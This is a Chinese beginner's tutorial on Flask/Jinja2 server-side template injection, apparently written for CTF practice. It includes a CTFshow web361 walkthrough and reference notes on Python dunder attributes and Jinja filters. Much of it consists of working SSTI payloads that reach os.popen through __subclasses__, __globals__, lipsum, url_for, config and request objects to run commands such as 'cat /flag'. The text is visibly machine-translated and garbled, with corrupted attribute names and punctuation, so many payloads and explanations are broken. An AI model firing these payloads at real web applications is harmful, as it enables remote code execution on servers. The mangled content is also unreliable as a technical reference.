ssti模板注入工具,
这里就不说概念性的东西了。毕竟wxdsw和我一样,刚开始学ssti,没有Python基础,如果开始讲一堆巴拉巴拉的概念,可能会一头雾水。
我们先来了解一下这个东西。
__class__
它可用于查看变量所属的类。
你什么意思?试试就知道了。从命令行打开python并输入“”。__class__
您可以看到输出了类 str ,这表明它是STR类。当然还有其他类型。您可以输入()。_ _ class _ _,[]。_ _ class _ _,{}。_ _ class _ _
Str(字符串),dict(字典),tuple(元组),list(列表)。这些类型的基类都是object,也就是说都属于object,object有很多子类。
接下来看这个东西。
_ _ bases _ _
可用于查看类的基类。
还可以在后面添加一个数组,表示可以使用数组索引来查看特定位置的值。
此外,您可以使用__mro__来查看基类。
然后进入下一步。如前所述,object有很多子类,那么你怎么看待这些子类呢?
__子类_ _()
查看当前类别的子类
输入以下代码
.__class__。__bases__[0]。__子类_ _()
你可以看到有很多子类,包括一个类:class os。_wrap_close。比如我想用这个类,那该怎么做?
.__class__。__bases__[0]。__子类__()[138]
ps:不同版本的python返回的类不一样,我这里是138,别的版本可能就不是了
这个时候,我们可以用。init.globals来查找os类下的init初始化类,然后globals可以全局查找所有的方法、变量和参数。
.__class__。__bases__[0]。__子类__()[138]。__init__。__全局_ _
此时,我们可以看到各种参数方法函数,我们可以找到其中一个可用的函数popen来执行命令。
.__class__。__bases__[0]。__子类__()[138]。__init__。__globals__[popen](dir )。阅读()
这些都是最基本的东西。这里有一个简单的问题来巩固上面的命令。
Ctfshow的web361没有任何过滤,也没有什么花哨的,只是简单的ssti。
?name={{()。__class__。__bases__}}
?name={{()。__class__。__bases__[0]。__子类__()}}
找到Os类。
?name={{()。__class__。__bases__[0]。__子类__()[132]}}
?name={{()。__class__。__bases__[0]。__子类__()[132]。__init__。__globals__[popen](ls /)。read()}}
?name={{()。__class__。__bases__[0]。__子类__()[132]。__init__。__globals__[popen](cat /flag )。read()}}
不是很简单,但是严肃的比赛绝对没有这么简单的题目。下面是别人搜集的一些知识点,我把链接放在这里。
__class__ class的内置属性,表示实例对象的类。__base__ type对象的直接基类_ _ base _ _ type对象的所有基类,以元组的形式。类型的实例通常没有属性_ _ bases _ _ _ mro _ _这个属性是由类组成的元组,方法解析时会基于它找到基类。_ _ subclass _ _()返回这个类的子类的集合,每个类都有一个指向其直接子类的弱引用列表。该方法返回所有仍然有效的引用的列表。该列表按定义顺序排列。__init__初始化类,返回的类型是function__globals__用作函数名。__globals__获取函数所在空间中可用的模块、方法和所有变量。__dic__类的静态函数、类函数、通用函数、全局变量和一些内置属性都是__getattribute__()神奇的方法,放在类的__dict__中。实例、类和函数都有__getattribute__。事实上,当实例化的对象执行时,会自动调用__getattribute__方法。操作(如:a.xxx/a.xxx())。因此,我们也可以通过这种方法直接获得实例、类和函数的属性。__getitem__()调用字典中的键值,实际上就是在调用这个神奇的方法,比如a[b],这是a.__getitem__(b)__builtins__。内置命名空间中的名称和对象之间有很多映射,这些名称实际上是内置函数的名称,对象就是内置函数本身。也就是有很多常用的功能。__builtins__和_ _ builtins _ _的区别不会被遗漏。百度两者都有。__import__动态加载的类和函数,即导入模块,常用于导入os模块。_ _ import _ _ (OS )。popen (ls )。Read ()] _ _ str _ _()返回描述这个对象的字符串,可以理解为打印出来。flask的url_for方法,可以用来获取_ _ BUILDINS _ _,以及URL _ for。_ _ GLOBALS _ _ [_ _ BUILDINS _ _]包含current_app。一个获取_ flashed _ messages flash的方法,可以用来获取__builtins__,以及URL _ for。_ _ globals _ _ [_ _ builtins _ _]包含当前应用程序。LipFlask的一个方法,可以用来获取__builtins__,和lipsum。__globals__包含操作系统模块:{{Lipsum。_ _ Globals _ _ [OS]。popen (ls )。read ()}} current _ app应用上下文,全局变量。请求可用于获取要绕过的字符串,包括以下内容。引用羽主的。除此之外,还可以获得开放功能:request。_ _ init _ _。_ _ globals _ _ [_ _ builds _ _]。打开(/proc self fd/3 )。read()The request . args . x1 get parameter request . values . x1 all parameters request . cookies cookies parameter request . headers request header参数request . form . x1 post parameter(content-type:application/X-www-form-urlencoded或multipart/form-data)request . data post传递参数(content-type:a/b)request . JSON post传递JSON(content-type:application/JSON)配置当前应用程序的所有配置。此外,您还可以{{config。_ _ class _ _。_ _ init _ _ _ _ _ globals _ _[ OS ]。popen (ls )。read ()}}常用的filter int():将值转换为int类型;Float():将值转换为浮点类型;Lower():将字符串转换为小写;Upper():将字符串转换为大写;Title():将值中每个单词的第一个字母大写;Capitalize():将变量值的第一个字母变为大写,其余字母变为小写;Trim():截取字符串前后的空格字符;Count():统计一个长字符串的字数;Reverse():字符串反转;Replace(value,old,new):用new替换替换old的字符串;Truncate (value,length=255,kill words=false):截断一个长度的字符串;Striptags():删除字符串中的所有HTML标签,如果出现多个空格,则替换为一个空格;Escape()或e:转义字符,将诸如、等符号转义成HTML中的符号。示例:contentescape或content e. Safe():禁用HTML转义。如果打开了全局转义,安全过滤器将关闭变量的转义。
示例:{ { em hello/em“ safe } };List():在列表中列出变量;String():将变量转换为字符串;Join():将序列中的参数值拼接成一个字符串。请参见上面的示例有效负载;Abs():返回一个数值的绝对值;First():返回序列的第一个元素;Last():返回序列的最后一个元素;Format(value,arags,*kwargs):设置字符串的格式。例如:{{ %s-%sformat(Hello?‘福!’)}}会输出:Helloo?-福!Length():返回序列或字典的长度;Sum():返回列表中值的总和;Sort():返回排序后的列表;Default (value,default _ value,boolean=false):如果当前变量没有值,将使用参数中的值。示例:name default( xiaoduo )-如果name不存在,将使用xiaoduo。Boolean=False默认情况下,仅当该变量未定义时,才会使用默认值。如果想用python判断是否为假,可以传递boolean=true。或者可以替代使用。Length()返回一个字符串的长度,别名是count,一个广为流传的判断模板的图形。
涉及
烧瓶的ssti模板进样从零到入门级
SSTI完全学习